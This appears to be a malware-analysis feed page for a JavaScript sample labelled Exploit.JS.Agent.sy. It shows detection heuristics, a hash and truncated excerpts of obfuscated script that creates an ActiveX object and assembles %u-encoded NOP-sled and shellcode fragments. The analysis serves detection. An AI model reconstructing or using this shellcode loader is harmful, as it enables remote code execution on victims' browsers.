Suspicious 80% Download

Exploit.JS.Agent.sy

Shellcode execution via ActiveX

Dense single-character concatenationDense concatenated string fragments
SHA-2569f3c993828f77dcdfca9f773a3a644d47863aa3f2f610f4d40c6f57a5a749500
MaleculeO(As)H(Db₂)

Evidence

Dense single-character concatenation lines 1–9
1<SCRIPT language="javascript">
2Hello="Hi";
3var tcsafeobj="o"+"b"+"j"+"e"+"c"+"t";
4tcsafe=document.createElement(tcsafeobj);
5var tcsafeid="clsid:2F542A2E-EDC9-4B";
⋯4 lines
Many long string literals concatenated in source lines 10–13
10:40… 90"+"90"+"%u90"+"90"+"%u90"+"90"+
11"%u6090"+"%u17eb%u645e%u30a1"+"%u0000%u0500%u0800%u0000%uf88b"+"%u00b9"+
12"%u0004"+"%uf300%uffa4%ue8e0%uffe4"+"%uffff%ua164%u0030%u0000%u408b"+"%u8b0c"+
13"%u1c70"+"%u8bad%u0870%uec81%u0200"+ …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.